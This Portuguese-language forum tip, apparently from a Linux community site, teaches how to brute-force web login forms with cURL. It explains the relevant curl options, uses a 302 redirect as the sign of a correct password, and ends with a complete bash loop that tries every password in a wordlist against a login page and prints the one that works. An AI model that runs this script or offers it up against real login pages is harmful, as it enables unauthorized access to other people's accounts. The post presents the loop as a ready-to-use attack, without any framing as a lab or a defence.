cURL - Brute-force em aplicações Web

Publicado por Perfil removido em 01/05/2013

[ Hits: 17.904 ]

 


cURL - Brute-force em aplicações Web



Estava pesquisando sobre o cURL, e tive a ideia de fazer um brute-force em shell script, mas como eu já fiz isso, resolvi somente testar os comandos.

Primeiro, iremos ver algumas opções de linha de comando do cURL:

curl -h
Usage: curl [options...] <url>
 -F/--form <name=content> Specify HTTP multipart POST data (H)
 -o/--output <file> Write output to <file> instead of stdout
 -s/--silent        Silent mode. Don't output anything
 -w/--write-out <format> What to output after completion

Ressaltei essas funções, pois serão necessárias para o ataque de brute-force.

Entendo as opções:

1. As opções "-s" e "-o" são para não exibirem o conteúdo HTML do request; iremos mandar essa saída de comando para o /dev/null.

2. O comando "-F" funciona para enviar os parâmetros através de "POST request".

Exemplo:

curl -F teste=enviando-post localhost/teste.php
3. E por último, a opção "-w", usaremos essa opção para descobrir o status code do request, levando em consideração que a maioria dos sistemas de login, quando se faz o login corretamente, redirecionam para outra página (302).

Exemplo:

curl -w "%{http_code}" localhost/lol
No final da saída do comando, obtemos o número 404 (Not Found).

Fazendo o ataque

Agora iremos proceder para o ataque de brute-force. Primeiro, temos que saber quais os nomes dos campos que iremos enviar pelo POST request.

Exemplo: login, password, log, passwd, user, etc.

Tendo essas informações, iremos transformar a saída do comando em uma variável.

Exemplo:

curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
A saída do comando foi 302 (redirecionamento), iremos guardar esse saída na variável "login":

login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)

Agora, para proceder com o ataque de "word list" iremos usar o "for" para ler um arquivo linha por linha.

Exemplo:

for i in `cat /etc/passwd`;do echo $i; done

Nosso comando final ficará assim:

for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done

Pronto, você já estará fazendo um ataque de brute-force através de uma "word list", usando o terminal.

Espero que tenham gostado da dica.
[]'s

Dica também publicada em:
Outras dicas deste autor

Dicas para instalação do ENVI 4.6 (Environment for Visualizing Images) no Ubuntu Linux 9.04

Instalando Zoom Client no Fedora Linux

Como criar um pendrive bootável no Linux [Vídeo]

Instalando Beryl no Slackware Linux 12

Impressora Canon PIXMA MP490/MP492 no Linux

Leitura recomendada

Formas de Obter as Dimensões do Emulador Terminal

Apagar Todo o Histórico do Terminal

Comando seq com saída em hexadecimal

Linux Omni-bot Autosetup 2011, programinha que facilita o uso do Omni-bot

Bash: Não use if

  

Comentários

Nenhum comentário foi encontrado.



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts